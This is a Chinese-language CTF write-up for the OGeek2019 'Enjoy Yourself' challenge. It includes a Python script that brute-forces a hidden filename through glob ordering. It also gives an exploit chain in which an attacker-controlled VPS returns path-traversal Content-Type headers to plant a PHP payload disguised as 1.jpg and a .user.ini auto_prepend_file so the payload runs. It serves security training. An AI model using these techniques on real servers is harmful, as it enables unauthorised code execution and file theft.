OGeek2019 Enjoy Yourself wp

题目1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);

include "../../utils/utils.php";

if(isset($_REQUEST['filename']) and preg_match("/^\w{8}$/", $_REQUEST['filename'])){
$filename = strtolower($_REQUEST['filename']);
touch("backup/{$filename}.txt");
unlink(glob("backup/*")[0]);
}
else{
highlight_file(__FILE__);
}

?>

分析1

首先会检测传入的filename的长度是否为8,如果为8,则先转为小写,之后会创建txt文件,之后用glob匹配backup目录下所有的文件,并会选择第一个进行删除

根据backup,可以猜测该目录下存在源码文件,且不会被删除;因此需要通过glob的排序来找出正确的文件名

对glob匹配的测试发现,文件名的排序是以数字-字母的顺序排序的,即相同的位数,数字要排在字母前面,且数字和字母分别按顺序排序,测试如下:

那么字母z很特殊了,与任何其它字符比,它都是排在最后面的,因此8位文件名可以从前往后一位一位的fuzz,其它的可以用z来占用,例如源码文件名第一位是a,当脚本跑到9zzzzzzz时会被正常删除,而下一个azzzzzzz会排在源码文件后面,不会被删除,因此可以推出源码文件名第一位是a;写脚本fuzz出文件名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string
import time

url = 'http://c907a7d4-9608-4aba-8a3c-f89e089f2ad3.node3.buuoj.cn/users/2c67ca1eaeadbdc1868d67003072b481/index.php?filename='

dic = string.digits+string.ascii_lowercase # 注意数字要排在字母前

filename = ''
num = 7
for i in range(8):
for j in dic:
time.sleep(1)
name = filename + j + 'z'*num
s = requests.get(url+name)
ss = requests.get('http://c907a7d4-9608-4aba-8a3c-f89e089f2ad3.node3.buuoj.cn/users/2c67ca1eaeadbdc1868d67003072b481/backup/'+name+'.txt')
if str(ss.status_code) != '404': # 没被删除
filename += j
print(filename)
num -= 1
break

print(filename)

得到题目源码aefebab8.txt

题目2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->

<?php
include "../utils/utils.php";

$sandbox = Get_Sandbox();

if(isset($_REQUEST['method'])){
$method = $_REQUEST['method'];

if($method == 'info'){
phpinfo();
}elseif($method == 'download' and isset($_REQUEST['url'])){
$url = $_REQUEST['url'];
$url_parse = parse_url($url);

if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
die("something wrong");
}

$path_info = pathinfo($url);

if(strpos($path_info['filename'], ".") !== false){
die("something wrong");
}

if(!Check_Ext($path_info['extension'])){
die("something wrong");
}

$response = GetFileInfoFromHeader($url);

$save_dir = "../users/${sandbox}/uploads/{$response['type']}/";

if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
mkdir($save_dir, 0755);
}

$save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";

if(!is_dir($save_path)){
file_put_contents($save_path, $response['content']);
}
}
}

分析2

主要是有两个函数不知道定义,只能靠猜:

1
2
3
4
if(!Check_Ext($path_info['extension'])){
die("something wrong");
}
$response = GetFileInfoFromHeader($url);

因此就是参数url的值要符合url格式,会判断url最后的后缀名,并且根据此url获取文件;之后根据文件类型创建路径:

$save_dir = "../users/${sandbox}/uploads/{$response['type']}/";

最后会获取url指定的文件上传到该路径下

测试,不能上传php后缀的文件,只能是jpg、png等后缀;

做法:

1.在vps上设置一个404跳转,使用.htaccess

ErrorDocument 404 /cccc.php    #设置404 跳转到到cccc.php 页面

构造cccc.php:

1
2
3
4
<?php
header('Content-Type: aaa/../1.jpg');
echo("<?php file_get_contents('/flag');?>");
?>

2.访问一个不存在的文件,便会跳转到cccc.php,根据文件的header创建目录,会跨目录创建1.jpg;这样便会在uploads/目录下创建1.jpg,内容为<?php file_get_contents('/flag');?>

3.查看phpinfo,发现使用apache2的环境,那么要想使上面的1.jpg被解析,.htaccess不行,可以通过上传.user.ini文件

1
2
3
4
<?php
header('Content-Type: .././.user.ini');
echo("auto_prepend_file = /var/www/html/users/[sandbox]/uploads/1.jpg");
?>